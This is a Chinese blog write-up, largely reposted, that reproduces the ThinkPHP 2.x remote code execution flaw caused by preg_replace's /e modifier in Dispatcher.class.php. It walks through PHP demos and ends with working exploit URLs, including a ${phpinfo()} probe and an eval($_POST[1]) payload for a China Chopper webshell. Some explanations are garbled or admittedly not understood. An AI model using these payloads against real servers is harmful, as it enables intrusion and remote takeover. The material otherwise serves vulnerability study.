注:此篇大部分是转载,只是照着大佬的流程复现了一遍
目录
0x01 漏洞背景
0x02 受影响版本
0x03 漏洞复现
preg_replace()
find、grep、xargs
Dispatcher.class.php
preg_replace产生漏洞原理
implode()
0x01 漏洞背景
ThinkPHP框架 - 是由上海顶想公司开发维护的MVC结构的开源PHP框架,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。 ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞
0x02 受影响版本
ThinkPHP 2.x
ThinkPHP3.0
版本因为Lite模式下没有修复该漏洞,也存在
PHP 5.2~5.6
0x03 漏洞复现
转载自:ThinkPHP系列漏洞之ThinkPHP 2.x 任意代码执行
转载自:ThinkPHP2-RCE漏洞复现
在ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
先看preg_replace
1️⃣preg_replace()
preg_replace(pattern,replacement,subject)
参数 | 释义 |
---|---|
pattern | 正则表达式 |
replacement | 替换的字符 |
subject | 要替换的对象 |
正则表达式后的e
e配合函数preg_replace()使用,可以把匹配来的字符串当作正则表达式执行;
/e可执行模式,此为PHP专有参数
1️⃣
<?php
$a = "abc";
$b = "aaaachummercaaaa";
echo preg_replace("/c(.+?)c/e",$a,$b);
?>
注意此处PHP版本要选择PHP5.2-5.6版本,/e才能完成正则替换,5.7之后版本无法完成正则替换
2️⃣
如果$a
可控
<?php
$a = 'print_r("AAA");';
$b = "aaaac123caaaa";
echo preg_replace("/c(.+?)c/e",$a,$b);
?>
为什么替换出会有一个1
我也没搞懂,感觉像是表示在哪替换的
由此可见,在采用/e
参数时,会自动执行replacement
2️⃣find、grep、xargs
搜索一下:
docker ps
docker exec -itID
/bin/bash
cd /var/www/htnl
find . -name ‘*.php’ | xargs grep -n ‘preg_replace’
find
在linux目录下,当需要找某个文件或者目录时使用
find pathname -options [-print -exec -ok…]
.
pathname,.
表示当前目录及子目录
-name
按文件或目录名来进行查找
grep与xargs
grep查找某个文件内容中存在某个关键字
preg_replace
,
单纯使用find
和grep
时,搜索的是文件名中含有preg_replace
的文件
加上xargs
时才会搜索,文件内容中含有grep_replace
关键字的.php
文件
漏洞描述的存在漏洞的代码为:
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102: $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
3️⃣Dispatcher.class.php
源码注释得知,这个是是thinkphp内置的Dispacher类,用来完成URL解析、路由和调度
此类下有如下方法:
static public function dispatch() URL映射到控制器
public static function getPathInfo() 获得服务器的PATH_INFO信息
static public function routerCheck() 路由检测
static private function parseUrl($route)
static private function getModule($var) 获得实际的模块名称
static private function getGroup($var) 获得实际的分组名称
漏洞存在在
static public function dispatch() URL映射到控制器
中
url映射控制器
这个东西作用就是
前端用户输入相应的URL
,这个方法将路径重定向到相应的模块
,来实现相应的功能
以下转自ThinkPHP教程_PHP框架之ThinkPHP(二)【URL路径访问与模块控制器、URL四种模式、PATHINFO的两种模式、模板与控制器之间的关系】
thinkphp所有的主入口文件默认访问index控制器(模块)
thinkphp所有的控制器默认执行index动作(方法)
以下转自URL访问
Thinkphp5.1在没有定义路由的情况下典型的URL访问规则是:
http://serverName/index.php(或者其他应用入口文件)/模块/控制器/操作/[参数名/参数值…]
如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
http://serverName/index.php(或者其他应用入口文件)?s=/模块/控制器/操作/[参数名/参数值…]
// 分析PATHINFO信息
self::getPathInfo();
if(!self::routerCheck()){ // 检测路由规则 如果没有则按默认规则调度URL
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$var = array();
if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
// 禁止直接访问分组
exit;
}
}
if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);
// 解析剩余的URL参数
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$_GET = array_merge($var,$_GET);
}
if(!self::routerChek())
首先是没有路由规则,所以函数安装默认规则调度URL
4️⃣preg_replace产生漏洞原理
代码01
<?php
function test($str)
{
echo "This func is run $str .";
}
$a='GoodGoodStudy';
$b='[bbbaaahelloworldaaabbb]';
echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);
运行结果:
[bbbGoodGoodStudybbb]
就是正常的正则替换
/ies
i
忽略大小写
s
可以匹配换行符
代码02
<?php
function test($str)
{
echo "This func is run $str .";
}
$a='test()';
$b='[bbbaaahelloworldaaabbb]';
echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);
运行结果:
This func is run .[bbbbbb]
此代码先执行了$a
中的test()函数,但并没有传值给test()
代码03
<?php
function test($str)
{
echo "This func is run $str .";
}
$a='test("\1")';
$b='[bbbaaahelloworldaaabbb]';
echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);
运行结果:
This func is run helloworld .[bbbbbb]
加了"\1"
,发现传参是helloword,为什么,我不知道
但我们看一下流程
1️⃣通过正则表达式得到符合条件的内容
2️⃣将正则匹配到的内容中(.+?)
传递给$a
中的test()
方法
3️⃣优先执行$a
中的test()
方法
4️⃣最后进行正则替换
代码04
<?php
function test($str)
{
echo "This func is run $str .";
}
$a='test("\1")';
$b='aaa$daaa';
$c='aaa$eaaa';
$d="CXK";
$e=phpversion();
echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);
echo "\n";
echo preg_replace("/aaa(.+?)aaa/ies",$a,$c);
运行结果:
This func is run CXK .
This func is run 5.2.17 .
在PHP中,
${}
可以构造
一个变量
如果{}
内是一般字符,就会被当成变量,如${a}
,等价于$a
如果{}
内是一个已知函数名,则函数就会被执行
代码04
<?php
echo phpversion();
echo "\n";
$a = "CXK";
echo "aaaaa{${a}}aaaaaa";
echo "\n";
echo "aaaaa${phpversion()}aaaaaa";
运行结果:
7.0.0
Notice: Use of undefined constant a - assumed 'a' in /home/user/scripts/code.php on line 8
aaaaaCXKaaaaaa
Notice: Undefined variable: 7.0.0 in /home/user/scripts/code.php on line 11
aaaaaaaaaaa
代码虽然报错,但仍然是执行了
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
我们继续回到源码,我们可控的位置是implode($depr,$paths)
5️⃣implode()
implode()方法将数组转换为字符串
implode(separator,array)
参数 | 释义 |
---|---|
separator | 间隔符,默认是""(空) |
array | 数组 |
例:
<?php
$arr = array('Hello','World!','Beautiful','Day!');
echo implode(" ",$arr)."<br>";
运行结果:
继续看源码:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
'$var[\'\\1\1']="\\2";' 是对一个数组操作
(\w+)\/([^\/\/]) 是正则表达式
看一下相关例子
<?php
$var = array();
$a='$var[\'\\1\']="\\2";';
$b='a/b/c/d/e/f';
preg_replace("/(\w+)\/([^\/\/])/ies",$a,$b);
print_r($var);
运行结果:
Array
(
[a] => b
[c] => d
[e] => f
)
先看正则表达式:
(\w+)\/([^\/\/])
()
值提取匹配的字符串,有几个括号就代表有几个匹配的字符串,看结果我们就知道,我们的目的是将键
和值
分别提取出来,所有有两个(),一个匹配键
,一个匹配值
1️⃣:(\w+)
\w
是匹配中文,下划线,数字,英文
+
+
是匹配一次或无限次
2️⃣:\/
匹配中间的/
3️⃣:([^\/\/])
[]
是定义匹配的范围
^
在[]
内时是非的意思
这里意思就是匹配非[//]
的字符,为什么写两个/
,没搞懂
'$var[\'\\1\1']="\\2";'
这里是因为要转义
转义完成执行时应该是这样
'$var['\1']="\2";'
这个\1
和\2
对应的就是我们正则匹配提取到的第一个位置(\w+)
和第二位置([^\/\/])
1️⃣代码可执行的位置只能为
值
,而非键
2️⃣数组 v a r 在路径存在模块和动作时, ‘ 会去除掉前 2 个值 ‘ : t h r e e : 而数组 var在路径存在模块和动作时,`会去除掉前2个值` :three:而数组 var在路径存在模块和动作时,‘会去除掉前2个值‘:three:而数组var来自于$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
所有我们可以构造如下参数
/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}
....
以及能直连菜刀的paylaod:
/index.php?s=a/b/c/${@print(eval($_POST[1]))}